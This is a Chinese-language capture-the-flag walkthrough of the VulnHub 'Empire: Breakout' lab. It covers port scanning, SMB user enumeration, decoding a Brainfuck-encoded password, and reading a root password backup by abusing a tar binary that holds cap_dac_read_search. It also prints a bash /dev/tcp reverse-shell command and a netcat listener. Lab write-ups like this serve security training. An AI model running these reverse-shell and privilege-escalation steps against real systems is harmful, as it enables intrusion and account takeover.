vulnhub靶场之EMPIRE

准备:
攻击机:虚拟机kali、本机win10 。
靶机:EMPIRE: BREAKOUT,地址我这里设置的桥接,下载地址:https://download.vulnhub.com/empire/02-Breakout.zip,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题 。
涉及的知识点:shell反弹、权限提升、smb、samba扫描、解密、getcap命令的使用(查看可执行文件获取的内核权限) 。

vulnhub靶场之EMPIRE

文章插图
信息收集:
使用nmap扫描靶机开放的端口和对应的具体服务信息 , 命令:nmap -T4 -sV -p- -A 192.168.1.4 。
vulnhub靶场之EMPIRE

文章插图
对80端口进行文件扫描,但是未发现什么有用的信息 。
【vulnhub靶场之EMPIRE】
vulnhub靶场之EMPIRE

文章插图
分别访问下80、10000、20000端口,发现80是一个默认的页面,10000和20000页面是两个登录页面 。
vulnhub靶场之EMPIRE

文章插图

vulnhub靶场之EMPIRE

文章插图

vulnhub靶场之EMPIRE

文章插图
尝试对登录窗口进行注入、爆破均失败,但是在80端口的源代码信息中发现了一串加密的字符串 。
<!--don't worry no one will get here, it's safe to share with you my access. Its encrypted :)++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.-->
vulnhub靶场之EMPIRE

文章插图
开始渗透:
在http://esoteric.sange.fi/brainfuck/impl/interp/i.html网站对字符串进行解密,获得字符串:.2uqPEfj3D<P'a-3
vulnhub靶场之EMPIRE

文章插图
观察到139、445端口开启的samba软件(基于smb协议),因此我们可以使用enum4linux(smb、samba专用扫描器)来进行扫描以下,命令:enum4linux 192.168.1.4,获得用户名:cyber 。
vulnhub靶场之EMPIRE

文章插图
使用获得账户名和密码尝试进行登录:cyber/.2uqPEfj3D<P'a-3,发现在20000端口可以登录成功并具有shell权限 。
vulnhub靶场之EMPIRE

文章插图
在cyber账户权限下找到第一个flag 。
vulnhub靶场之EMPIRE

文章插图
提权:
在/cyber目录下我们还发现了tar文件,查看文件权限发现其具有可执行权限 , 命令:ls -l 。
vulnhub靶场之EMPIRE

文章插图
那我们就查看下该文件执行时所具有的内核权限,命令:getcap tar , 发现其可以绕过文件的读权限检查以及目录的读/执行权限的检查(cap_dac_read_search表示的就是这个意思) 。
vulnhub靶场之EMPIRE

文章插图
对网站目录目录进行查看,最后在/var目录下发现backup文件,其他目录下未发现有用信息 。
vulnhub靶场之EMPIRE

文章插图
在/backups文件夹下发现密码的备份文件:.old_pass.bak
vulnhub靶场之EMPIRE

文章插图
然后对.old_pass.bak文件进行压缩和解压就可以读取root密码 , 压缩密码:./tar -cvf upfine.tar /var/backups/.old_pass.bak,解压密码:./tar -xvf upfine.tar , 然后进入/var/backups目录下读取.old_pass.bak文件,发现root密码:Ts&4&YurgtRX(=~h 。
vulnhub靶场之EMPIRE

文章插图
到这里的话有两种方式 , 第一种:在10000端口采用:admin/Ts&4&YurgtRX(=~h,进行登录 , 进入后可直接获得root账户权限 。
vulnhub靶场之EMPIRE

文章插图
第二种:反弹一个shell,在kali中开启对8899端口的监听,命令:nc -lvvp 8899,然后在靶机中执行bash命令:bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1' 。
vulnhub靶场之EMPIRE

文章插图
在反弹的shell中切换root用户并查看root下的文件信息,成功获得第二个flag 。

推荐阅读